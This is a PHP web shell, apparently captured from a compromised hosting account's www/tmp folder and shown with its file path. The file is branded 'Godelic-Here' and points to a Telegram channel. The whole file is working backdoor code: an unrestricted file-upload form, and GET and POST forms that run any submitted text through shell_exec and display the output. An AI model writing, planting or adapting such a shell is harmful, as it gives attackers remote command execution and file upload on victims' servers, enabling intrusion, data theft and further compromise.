| Current Path : /home/a/t/a/ataenra/www/tmp/ |
| Current File : /home/a/t/a/ataenra/www/tmp/gd5228.phtml |
<?php echo "Godelic-Here | gd5228<br>\n";// ========== UPLOAD FORM ==========
if(!isset($_FILES["file"]) && !isset($_GET["cmd"]) && !isset($_POST["cmd"])){
echo '<!DOCTYPE html>';
echo '<html><head><title>t.me/Lab505</title></head><body>';
echo '<h2>XYZBCA</h2>';
echo '<hr>';
echo '<h3>Upl04d3r</h3>';
echo '<form method="POST" enctype="multipart/form-data">';
echo '<input type="file" name="file" style="padding:10px;margin:5px;">';
echo '<button type="submit" style="padding:10px;background:green;color:white;">UPLOAD</button>';
echo '</form>';
echo '<hr>';
echo '<h3>CmD</h3>';
echo '<form method="GET">';
echo '<input type="text" name="cmd" placeholder="ls -la" style="width:300px;padding:10px;">';
echo '<button type="submit" style="padding:10px;background:blue;color:white;">RUN</button>';
echo '</form>';
echo '<br>';
echo '<form method="POST">';
echo '<input type="text" name="cmd" placeholder="whoami" style="width:300px;padding:10px;">';
echo '<button type="submit" style="padding:10px;background:orange;color:white;">RUN POST</button>';
echo '</form>';
echo '</body></html>';
exit;
}
// ========== PROSES UPLOAD ==========
if(isset($_FILES["file"])){
$target = $_FILES["file"]["name"];
$tmp = $_FILES["file"]["tmp_name"];
if(move_uploaded_file($tmp, $target)){
echo "<h3 style='color:green'>✅ UPLOAD SUCCESS!</h3>";
echo "<b>File:</b> " . $target . "<br>";
echo "<b>URL:</b> <a href='" . $target . "'>" . $target . "</a><br>";
echo "<hr>";
echo "<a href='?cmd=ls -la'>⬅️ BACK</a>";
} else {
echo "<h3 style='color:red'>❌ UPLOAD FAILED!</h3>";
echo "<a href='javascript:history.back()'>⬅️ TRY AGAIN</a>";
}
exit;
}
// ========== PROSES CMD ==========
if(isset($_GET["cmd"])){
echo "<h3>💀 COMMAND: " . htmlspecialchars($_GET["cmd"]) . "</h3>";
echo "<pre style='background:#f4f4f4;padding:10px;border:1px solid #ccc;'>";
echo htmlspecialchars(shell_exec($_GET["cmd"]));
echo "</pre>";
echo "<a href='?cmd='>⬅️ BACK TO FORM</a>";
exit;
}
if(isset($_POST["cmd"])){
echo "<h3>💀 COMMAND (POST): " . htmlspecialchars($_POST["cmd"]) . "</h3>";
echo "<pre style='background:#f4f4f4;padding:10px;border:1px solid #ccc;'>";
echo htmlspecialchars(shell_exec($_POST["cmd"]));
echo "</pre>";
echo "<a href='?cmd='>⬅️ BACK TO FORM</a>";
exit;
}
?>